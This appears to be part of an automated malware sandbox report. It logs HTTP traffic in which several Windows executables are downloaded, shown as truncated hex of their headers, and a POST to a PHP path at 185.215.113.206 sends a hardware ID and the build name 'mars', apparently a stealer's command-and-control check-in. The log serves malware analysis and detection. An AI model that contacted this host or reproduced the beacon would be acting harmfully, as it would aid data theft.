00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 11:35:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 11:35:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 11:35:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 11:35:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 11:35:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 11:35:46 GMTContent-Type: application/octet-streamContent-Length: 1974784Last-Modified: Sun, 17 Nov 2024 11:35:21 GMTConnection: keep-aliveETag: "6739d4f9-1e2200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 f0 4d 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4e 00 00 04 00 00 53 fd 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 d0 4d 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 d0 4d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2c 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 63 67 6f 79 6d 7a 63 00 10 1b 00 00 d0 32 00 00 06 1b 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6c 69 6f 75 7a 77 6f 00 10 00 00 00 e0 4d 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4d 00 00 22 00 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIECGIEBKJJJJKEGHJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 41 42 32 35 41 43 34 33 44 31 42 31 34 31 30 32 37 37 36 31 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 2d 2d 0d 0a Data Ascii: ------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="hwid"1AB25AC43D1B1410277619------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="build"mars------JDGIECGIEBKJJJJKEGHJ--
